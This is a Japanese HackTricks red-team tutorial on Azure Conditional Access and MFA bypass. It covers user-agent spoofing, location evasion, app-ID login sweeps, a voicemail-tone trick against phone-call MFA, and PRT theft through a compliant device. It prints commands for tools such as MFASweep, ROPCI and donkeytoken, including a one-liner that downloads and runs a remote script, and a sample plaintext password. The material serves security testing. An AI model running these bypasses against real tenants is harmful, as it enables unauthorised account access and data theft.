Az - Conditional Access Policies & MFA Bypass

Tip

学んで実践する AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学んで実践する GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学んで実践する Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks をサポートする

基本情報

Azure Conditional Access policies は、特定の条件に基づいて Azure サービスやアプリケーションへのアクセス制御を強制するために Microsoft Azure 上で設定されるルールです。これらのポリシーは、適切な状況で適切なアクセス制御を適用することで、組織がリソースを保護するのに役立ちます。
Conditional access policies は基本的に 誰が が 何を に どこから そして どのように アクセスできるかを定義します。

以下はいくつかの例です:

  1. Sign-In Risk Policy: このポリシーは、サインインのリスクが検出された場合に多要素認証（MFA）を要求するよう設定できます。例えば、ユーザーのログイン挙動が通常のパターンと比べて異常で、別の国からのログインなどがある場合、システムは追加の認証を求めることができます。
  2. Device Compliance Policy: このポリシーは、組織のセキュリティ基準に準拠したデバイスからのみ Azure サービスへのアクセスを許可するよう制限できます。例えば、最新のウイルス対策ソフトがインストールされているデバイスや、特定のオペレーティングシステムのバージョンを実行しているデバイスからのみアクセスを許可するといった設定が可能です。

列挙

# Get all the policies from Azure without needing any special permission with (idea from https://github.com/LuemmelSec/APEX/blob/main/APEX.ps1)
az rest --method GET --uri 'https://graph.windows.net/<tenant-id>/policies?api-version=1.61-internal' | jq '.value[] | select(.policyType == 18) | {displayName, policyDetail: (.policyDetail[] | fromjson)}'

# You need Policy.Read.ConditionalAccess or Policy.Read.All permission in Entra ID
az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditionalAccess/policies"

条件付きアクセス ポリシーのバイパス

条件付きアクセス ポリシーが、簡単に改ざんできる情報をチェックしており、そのためにポリシーをバイパスされる可能性があります。例えばポリシーがMFAを構成している場合、攻撃者はそれをバイパスできます。

条件付きアクセス ポリシーを構成する際は、影響を受けるusers（ユーザー）とtarget resources（対象リソース）（like all cloud apps）を指定する必要があります。

また、ポリシーをトリガーするconditionsも設定する必要があります：

  • Network: IP、IPレンジ、地理的ロケーション
  • VPNやProxyを使用して許可された国に接続したり、許可されたIPアドレスからログインすることでバイパスできます
  • Microsoft risks: User risk, Sign-in risk, Insider risk
  • Device platforms: Any device または Android、iOS、Windows phone、Windows、macOS、Linux を選択
  • 「Any device」が選択されておらず他のすべてのオプションが選択されている場合、これらのプラットフォームに関連しないランダムなuser-agentを使用してバイパスすることが可能です
  • Client apps: オプションは “Browser”, “Mobiles apps and desktop clients”, “Exchange ActiveSync clients” and “Other clients”
  • 選択されていないオプションを使ってログインすればバイパスできます
  • Filter for devices: 使用されているデバイスに関連するルールを生成することが可能です
  • Authentication flows: オプションは “Device code flow” と “Authentication transfer”
  • これらのプロトコルを悪用して被害者のアカウントにフィッシングでアクセスしようとしない限り、攻撃者には影響しません

可能なresultsは：アクセスをブロックする、またはMFAを要求する、デバイスをコンプライアントにするなどの条件付きでアクセスを許可する、などです。

Device Platforms - Device Condition

device platform（Android、iOS、Windows、macOS…）に基づく条件を設定することは可能ですが、これはuser-agentに基づいているため簡単にバイパスできます。すべてのオプションでMFAを強制していても、認識されないuser-agentを使用すれば、MFAやブロックをバイパスできます：

ブラウザに未知のuser-agentを送信させるだけで（例えば Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile）、この条件をトリガーしません。
開発者ツールでuser agentを手動で変更できます：

または browser extension like this one を使用してください。

Locations: Countries, IP ranges - Device Condition

条件付きポリシーでこれが設定されている場合、攻撃者はVPNを使って許可された国から接続したり、許可されたIPアドレスからアクセスする方法を見つけてこれらの条件をバイパスできます。

Cloud Apps

ユーザーが特定のアプリにアクセスしようとしたときに、例えばMFAをブロックまたは強制するように条件付きアクセス ポリシーを構成することが可能です：

この保護をバイパスしようとする場合、任意のアプリにログインできるか確認してください。
ツールAzureAppsSweepは数十個のアプリケーションIDがハードコードされており、それらに対してログインを試み、成功すればトークンを返してくれます。

特定のリソース内の特定のアプリケーションIDをテストするために、次のようなツールを使用することもできます：

roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout

<token>

さらに、ログイン方式（例：ブラウザやデスクトップアプリケーションからログインを試みる場合）を保護することも可能です。ツール Invoke-MFASweep は、この保護を回避しようとするチェックも実行します。

ツール donkeytoken も同様の目的で使用できますが、メンテナンスされていないように見えます。

ツール ROPCI もこれらの保護をテストし、MFA やブロックを回避できるか確認するために使用できますが、このツールは whitebox の視点で動作します。最初にテナントで許可されているアプリの一覧をダウンロードする必要があり、その後それらに対してログインを試みます。

その他の Az MFA バイパス

リングトーン

One Azure MFA option is to receive a call in the configured phone number where it will be asked the user to send the char #.

Caution

文字は単なる トーン であるため、攻撃者は電話番号の ボイスメール メッセージを 改ざん し、メッセージを # のトーン に設定することができます。次に、MFA を要求するときに被害者の電話が通話中であること（呼び出し中）を確認すると、Azure の着信がボイスメールに転送されます。

準拠デバイス

ポリシーはしばしば準拠デバイスまたは MFA を要求するため、攻撃者は準拠デバイスを登録し、PRT トークンを取得して、この方法で MFA を回避することができます。

まず Intune に準拠デバイスを登録 し、次に PRT を取得 します：

$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials

$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce

Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken

<token returned>

この種の攻撃の詳細は、次のページをご覧ください：

Az - Primary Refresh Token (PRT)

ツール

AzureAppsSweep

このスクリプトはユーザー資格情報を取得し、いくつかのアプリケーションにログインできるかを確認します。

これは、いくつかのアプリケーションにログインする際にMFAが要求されないかどうかを確認するのに役立ちます。これらは後で悪用してescalate privilegesする可能性があります。

roadrecon

すべてのポリシーを取得します。

roadrecon plugin policies

Invoke-MFASweep

MFASweep は PowerShell script で、指定された資格情報を使用して各種 Microsoft サービスにログインし、MFA が有効かどうかを識別しようとします。conditional access policies and other multi-factor authentication settings の設定方法によっては、一部のプロトコルが単一要素のまま残ることがあります。また、ADFS configurations に対する追加チェックを備えており、検出された場合は on-prem ADFS server にログインを試行できます。

Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username <username> -Password <pass>

ROPCI

このツールは、MFA のバイパスを特定し、その後複数の本番 AAD テナントで API を悪用するのに役立ちました。AAD の顧客は MFA が適用されていると考えていましたが、ROPC ベースの認証が成功しました。

Tip

すべてのアプリケーションを列挙する権限が必要です。brute-force するアプリの一覧を生成できるようにするためです。

./ropci configure
./ropci apps list --all --format json -o apps.json
./ropci apps list --all --format json | jq -r '.value[] | [.displayName,.appId] | @csv' > apps.csv
./ropci auth bulk -i apps.csv -o results.json

donkeytoken

Donkey tokenは、Conditional Access Policiesの検証や2FA対応のMicrosoftポータルのテストなどを行う必要があるセキュリティコンサルタントを支援することを目的とした関数群です。

git clone https://github.com/silverhack/donkeytoken.git
Import-Module '.\donkeytoken' -Force

各ポータルをテストして、MFAなしでログインできるか確認する：

$username = "conditional-access-app-user@azure.hacktricks-training.com"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue

Azure portal が not constrained ため、前回の実行で検出された任意のサービスにアクセスするために、gather a token from the portal endpoint to access any service detected ことが可能です。この場合、Sharepoint が識別され、そのアクセス用の token が要求されます:

$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token

token が Sites.Read.All (from Sharepoint) の権限を持っていると仮定すると、MFA のためにウェブから Sharepoint にアクセスできなくても、生成した token を使ってファイルにアクセスすることが可能です:

$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl

参考文献

Tip

学んで実践する AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学んで実践する GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学んで実践する Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks をサポートする